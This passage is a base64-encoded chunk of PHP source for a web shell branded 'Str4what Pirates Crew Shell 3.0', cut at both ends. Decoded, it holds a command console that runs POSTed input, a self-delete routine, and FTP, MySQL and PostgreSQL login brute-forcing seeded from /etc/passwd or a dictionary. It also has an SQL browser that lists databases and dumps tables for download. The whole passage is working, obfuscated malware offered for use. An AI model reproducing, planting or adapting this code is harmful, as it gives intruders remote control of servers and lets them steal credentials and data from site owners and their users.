pheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowOyIgcmVhZG9ubHk+JzsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsNCiAgICB9DQogICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjA7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+JzsNCiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kb2N1bWVudC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsNCiAgICBlY2hvICcNCiAgICA8IS0tU3RyNHdoYXQgUGlyYXRlcyBDcmV3IFNoZWxsIDMuMC0tPg0KICAgIDwhLS1SZWNvZGVkIGJ5IFN0cjR3aGF0IFp5YjNyLS0+DQoNCg0KICAgIDxzY3JpcHQ+YWxlcnQoIkxvZ291dCBTdWNjZXNzZnVsIik8L3NjcmlwdD4NCiAgICA8Ym9keSBiZ2NvbG9yPSNmZmZmZmY+PGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL29pNDIudGlueXBpYy5jb20vMnpnY2x6NS5qcGciPjwvY2VudGVyPg0KICAgIDxIMT48Y2VudGVyPjxwIHN0eWxlPSJjb2xvcjogI0RGMDEwMSIgPlN0cjR3aGF0IFBpcmF0ZXMgQ3JldyBQcjF2YXRlIFNoZWxsIDMuMDwvcD48L0gxPg0KICAgIDxjZW50ZXI+DQo8aWZyYW1lIHNyYz0iaHR0cDovL3d3dy5mYWNlYm9vay5jb20vcGx1Z2lucy9saWtlYm94LnBocD8NCmhyZWY9aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL1N0cjR3aGF0UGlyYXRlc1JlY3J1aXRtZW50Wm9uZS5nb3YmYW1wO3dpZHRoPTI2MCZhbXA7Y29sb3JzY2hlDQptZT1saWdodCZhbXA7c2hvd19mYWNlcz10cnVlJmFtcDtib3JkZXJfY29sb3I9DQolMjNmZmYmYW1wO3N0cmVhbT1mYWxzZSZhbXA7aGVhZGVyPWZhbHNlJmFtcDtoZWlnaHQ9MTAwIiBzY3JvbGxpbmc9Im5vIiANCmZyYW1lYm9yZGVyPSIwIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyOm5vbmU7IG92ZXJmbG93OmhpZGRlbjsgd2lkdGg6MjAwcHg7IA0KaGVpZ2h0OjEwMHB4OyIgYWxsb3d0cmFuc3BhcmVuY3k9InRydWUiPjwvaWZyYW1lPjwvY2VudGVyPg0KICAgIDxIMz48Y2VudGVyPjxwIHN0eWxlPSJjb2xvcjogIzU4NTg1OCIgPnwgU3RyYXdoYXQgTHVmZnkgfCBTdHJhd2hhdCA0Y2UgfCBTdHJhd2hhdCBDaG9wcDNyIHwgU3RyYXdoYXQgUmVkIHw8YnI+DQogICAgfCBTdHJhd2hhdCBGaXpjaGUgfCBTdHJhd2hhdCBicm8wayB8IFN0cjR3aGF0LSBaeWJlciB8IFN0cmF3aGF0IFpvcnJvciB8IFN0cjR3aGF0LU5hbWkgfCBTdHJhd2hhdCBMZXl0ZV9QcjFkMyB8IFN0cjR3aGF0LUw0dyB8PC9wPjwvSDM+PC9ib2R5Pic7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7DQogICAgcHJpbnRIZWFkZXIoKTsNCiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIHsNCiAgICAgICAgaWYoQHVubGluayhTRUxGX1BBVEgpKQ0KICAgICAgICAgICAgZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOw0KICAgIH0NCiAgICBlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgew0KICAgICAgICBlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7DQogICAgICAgIGlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7DQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCiAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7DQogICAgICAgICAgICAgICAgaWYoISRmcCkgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7DQogICAgICAgICAgICAgICAgQGZ0cF9jbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7DQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsNCiAgICAgICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHJlcyk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOw0KICAgICAgICAgICAgICAgICRyZXMgPSBAcGdfY29ubmVjdCgkc2VydmVyWzBdLic6Jy4kc2VydmVyWzFdPyRzZXJ2ZXJbMV06NTQzMiwgJGxvZ2luLCAkcGFzcyk7DQogICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOw0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRzdWNjZXNzID0gMDsNCiAgICAgICAgJGF0dGVtcHRzID0gMDsNCiAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQ0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGxpbmVbMF1bJGldOw0KICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IHRyaW0oJGxpbmUpOw0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQogICAgfQ0KICAgIGVjaG8gJzxoMT5GVFAgYnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicNCiAgICAgICAgLic8c3Bhbj5TZXJ2ZXI6cG9ydDwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0iTGV5dGVfUHIxZDMiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCiAgICBlY2hvICc8L2Rpdj48YnI+JzsNCiAgICBwcmludEZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TcWwoKSB7DQogICAgY2xhc3MgRGJDbGFzcyB7DQogICAgICAgIHZhciAkdHlwZTsNCiAgICAgICAgdmFyICRsaW5rOw0KICAgICAgICB2YXIgJHJlczsNCiAgICAgICAgZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkgICAgew0KICAgICAgICAgICAgJHRoaXMtPnR5cGUgPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsNCiAgICAgICAgICAgICAgICAgICAgaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOw0KICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIGlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgew0KICAgICAgICAgICAgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSAodGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnKSBvciB0YWJsZV9uYW1lID0gJ3BnX3VzZXInIik7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gZXJyb3IoKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoJHRoaXMtPmxpbmspOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCR0aGlzLT5saW5rKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBkdW1wKCR0YWJsZSkgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICRjcmVhdGVbMV0uIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH07DQogICAgJGRiID0gbmV3IERiQ2xhc3MoQCRfUE9TVFsndHlwZSddKTsNCiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQogICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdik7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIHByaW50SGVhZGVyKCk7DQogICAgZWNobyAnPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQogICAgPGZvcm0gbmFtZT0ic2YiIG1ldGhvZD0icG9zdCI+DQogICAgICAgIDx0YWJsZSBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+SG9zdDwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPkxvZ2luPC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+UGFzc3dvcmQ8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD5EYXRhYmFz